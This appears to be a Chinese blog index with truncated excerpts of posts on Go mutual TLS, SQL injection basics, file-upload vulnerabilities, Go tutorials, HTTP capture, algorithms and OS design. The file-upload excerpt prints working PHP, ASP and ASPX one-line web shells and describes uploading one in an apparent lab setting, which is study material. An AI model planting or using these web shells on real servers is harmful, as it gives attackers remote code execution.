基于GO的双向tls通信
golang 1.15+版本上,需要开启SAN扩展刚开始写完代码发现一直连接不上去,出现错误X509 Common Name field, use SANs or temporarily enable Common Name matching
造成的原因是因为我用的证书,并没有开启SAN扩展(默认是没有开启SAN扩展)所生成的,所以在导致客户端和服务端无法建立连接, 所以我们要根据提示来解决这个问题
第1步:生成 CA 根证书openssl genrsa -out ca.key 2048
1234CopyGenerating RSA private key, 2048 bit long modulus (2 primes).............+++++..................................................................................................................+++++e is 65537 (0x010001)
openssl req -new -x509 - ...
SQL注入
数据库简介数据库基本操作
显示数据库列表 show databases;
进入对应的数据库 use “指定数据库名”;
查看所进入数据库的所有表 show tables;
查看数据库路径 select @@datadir;
查看安装路径 select @@basedir;
查看数据库安装的操作系统select @@version_compile_os;
显示数据库版本 select version();
查看当前正在使用的数据库select database();
查看使用当前数据库的用户select user();
初始数据库123456789mysql> show databases;+--------------------+| Database |+--------------------+| information_schema || bWAPP || mysql || performance_schema |+--------------------+
informa ...
文件上传漏洞
一句话木马编写shell.php
1<?php @eval($_POST['hacker']); ?>
其中一句话木马通常利用的都是类似于php的eval这样的函数,eval函数获取hacker字段的值然后当成PHP代码执行,这种在服务器端能够执行代码的函数就是关键
asp 一句话木马:<%execute(request(“value”))%>
php 一句话木马:
aspx 一句话木马:<%@ Page Language=”Jscript”%><%eval(Request.Item[“value”])%>
其他一句话木马:<%eval request(“value”)%><%execute request(“value”)%><%execute(request(“value”))%>
点击upload上传文件shell.php(文件内容<?php @eval($_POST['hacker']); ?>),再点击here观察到文件位置是http ...
Go语言基础之包
李文周的博客
包与依赖管理本章学习目标
掌握包的定义和使用
掌握init初始化函数的使用
掌握依赖管理工具go module的使用
在工程化的Go语言开发项目中,Go语言的源码复用是建立在包(package)基础之上的。本文介绍了Go语言中如何定义包、如何导出包的内容及如何引入其他包。同时也将介绍如何在项目中使用go module管理依赖。
包(package)包介绍Go语言中支持模块化的开发理念,在Go语言中使用包(package)来支持代码模块化和代码复用。一个包是由一个或多个Go源码文件(.go结尾的文件)组成,是一种高级的代码复用方案,Go语言为我们提供了很多内置包,如fmt、os、io等。
例如,在之前的章节中我们频繁使用了fmt这个内置包。
1234567package mainimport "fmt"func main(){ fmt.Println("Hello world!")}
上面短短的几行代码就涉及到了如何定义包以及如何引入其它包两个内容,接下来我们依次介绍一下它们。
定义包我们可以根据自己的 ...
Go语言基础之函数
函数基础函数定义Go语言中定义函数使用func关键字,具体格式如下:
123func 函数名(参数)(返回值){ 函数体}
其中:
函数名:由字母、数字、下划线组成。但函数名的第一个字母不能是数字。在同一个包内,函数名也称不能重名(包的概念详见后文)。
参数:参数由参数变量和参数变量的类型组成,多个参数之间使用,分隔。
返回值:返回值由返回值变量和其变量类型组成,也可以只写返回值的类型,多个返回值必须用()包裹,并用,分隔。
函数体:实现指定功能的代码块。
函数调用定义了函数之后,我们可以通过函数名()的方式调用函数。 例如我们调用上面定义的两个函数,代码如下:
12345func main() { sayHello() ret := intSum(10, 20) fmt.Println(ret)}
注意,调用有返回值的函数时,可以不接收其返回值。
参数类型简写函数的参数中如果相邻变量的类型相同,则可以省略类型,例如:
123func intSum(x, y int) int { return x ...
HTTP协议
原文:极客时间透视HTTP协议
网址按下回车首先运行 www 目录下的“start”批处理程序,启动本机的 OpenResty 服务器,启动后可以用“list”批处理确认服务是否正常运行。
然后我们打开 Wireshark,选择“HTTP TCP port(80)”过滤器,再鼠标双击“Npcap loopback Adapter”,开始抓取本机 127.0.0.1 地址上的网络数据。
抓包分析三次握手因为我们在地址栏里直接输入了 IP 地址“127.0.0.1”,而 Web 服务器的默认端口是 80,所以浏览器就要依照 TCP 协议的规范,使用“三次握手”建立与 Web 服务器的连接。
对应到 Wireshark 里,就是最开始的三个抓包,浏览器使用的端口是 4591,服务器使用的端口是 80,经过 SYN、SYN/ACK、ACK 的三个包之后,浏览器与服务器的 TCP 连接就建立起来了。
HTTP交互有了可靠的 TCP 连接通道后,HTTP 协议就可以开始工作了。于是,浏览器按照 HTTP 协议规定的格式,通过 TCP 发送了一个“GET / HTTP/1.1”请求报文,也就是 ...
DFS与回溯
DFS深度优先岛屿最大面积
深度优先算法的重要思想就是借助栈每次访问栈顶的元素
而递归就无需我们手动压入栈当中了,我们需要做的是判断栈顶元素是否已经访问,并且每次递归调用(压入栈)的应该是栈顶元素的邻接节点。
这道题非常的特殊,0表示没有岛屿,1表示是岛屿,那么每次压入栈的邻接节点应该值应是1的,并且可以通过将已经访问的元素置为0,表示栈顶元素已经访问以避免重复访问。
123456789101112131415161718192021222324252627282930class Solution { int des[4][2] = { {1,0},{-1,0},{0,1},{0,-1} }; int m,n;public: int maxAreaOfIsland(vector<vector<int>>& grid) { int maxs = 0; m = grid.size(); ...
操作系统模块划分
架构设计
内存布局
boot位于0x7C00-0x7E00不超过512字节
loader位于0x9000-0xB000
kernel位于0xB000-0xF000
app位于0xF000-
分离步骤:
将应用代码和内核代码分离即app与kernel分离
实模式下分别加载应用和内核到不同内存区域
进入保护模式并跳转到内核代码执行
区间问题
贪心区间覆盖套路比较固定
45. 跳跃游戏 II123456789101112131415int jump(vector<int>& nums) { int len = nums.size(); int cnt = 0; int right = 0; int next = 0; int i = 0; while(next < len-1){ //终止条件: 右边界能跳出整个数组了 right = next; for( ;i <= right;i++){ //[left,right]区间中 next = max(next,i+nums[i]); //更新数据 } cnt++; //记录更新的数据 } return cnt;}
763. 划分字母区间123456789101112131415161718192021 ...
互斥锁
基本概念
临界资源:每次只允许一个任务进行访问(读/写)的资源
临界区:每次只允许一个任务执行的代码片段
任务同步:任务之间具有相对执行顺序
任务互斥:多个任务在同一时刻都需要访问临界资源,但临界资源只允许一个任务访问
整体调用流程Mutex操作可能导致任务状态转换,因此功能必须在内核实现。并且进入内核态后所有用户态任务都会暂停执行。这个时候内核可以直观地决定任务是否能够进入临界区。
因此我们需要暴露出系统调用接口给用户使用。
1234567891011121314151617181920212223242526272829303132333435363738394041424344//0x80号中断会触发调用此中断处理函数void SysCallHandler(uint type, uint cmd, uint param1, uint param2) // __cdecl__{ //根据type中断功能号调用不同的功能处理,其中type为1时触发Mutex的中断处理函数 switch(type) { case 0: ...